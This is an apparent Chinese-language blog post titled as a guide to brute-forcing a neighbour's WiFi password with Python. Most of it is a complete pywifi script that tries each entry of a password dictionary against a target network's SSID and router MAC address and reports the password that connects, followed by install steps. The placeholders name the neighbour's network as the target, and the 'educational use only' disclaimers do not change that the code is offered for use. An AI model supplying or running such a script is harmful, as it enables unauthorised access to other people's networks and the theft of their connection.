利用Python暴力破解邻居家WiFi密码
警告:此代码用于教育目的,并非推荐或支持非法使用,如被用于非法活动,后果自负。
import pywifi
from pywifi import const
import time
# 测试连接,返回成功标志
def connect(pwd, ssid, bssid):
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0] # 取第一个无线网卡
ifaces.disconnect() # 断开网络
time.sleep(1) # 等待断开
profile = pywifi.Profile() # 配置文件
profile.ssid = ssid # WIFI名称
profile.auth = const.AUTH_ALG_OPEN # 需要身份验证
profile.akm.append(const.AKM_TYPE_WPA2PSK) # 加密算法
profile.cipher = const.CIPHER_TYPE_CCMP # 配置加密单元
profile.key = pwd # 密码
profile.bssid = bssid # 路由器MAC地址
ifaces.remove_all_network_profiles() # 删除所有其他配置文件
tmp_profile = ifaces.add_network_profile(profile) # 加载配置文件
ifaces.connect(tmp_profile) # 尝试连接
time.sleep(5) # 等待连接
if ifaces.status() == const.IFACE_CONNECTED: # 检查是否成功连接
print('[+] 密码正确: ' + pwd)
return True
else:
print('[-] 密码错误: ' + pwd)
return False
# 读取密码字典
def read_dict(dict_path):
with open(dict_path, 'r', encoding='utf-8') as f:
for pwd in f:
pwd = pwd.strip() # 去掉可能的换行符
if connect(pwd, ssid, bssid): # 尝试连接
break
if __name__ == '__main__':
ssid = '邻居家WiFi名称' # 替换为实际WiFi名称
bssid = '邻居家WiFi路由器MAC地址' # 替换为实际MAC地址,全小写
dict_path = '密码字典路径' # 替换为实际密码字典路径
read_dict(dict_path)
确保在使用前已经安装了pywifi
模块,可以使用pip install pywifi
进行安装。
此脚本需要一个密码字典文件,用户需要准备一个包含潜在WiFi密码的文本文件。
警告:任何使用此脚本进行非法行为的后果由使用者自负,开发者不承担任何连带责任。
评论已关闭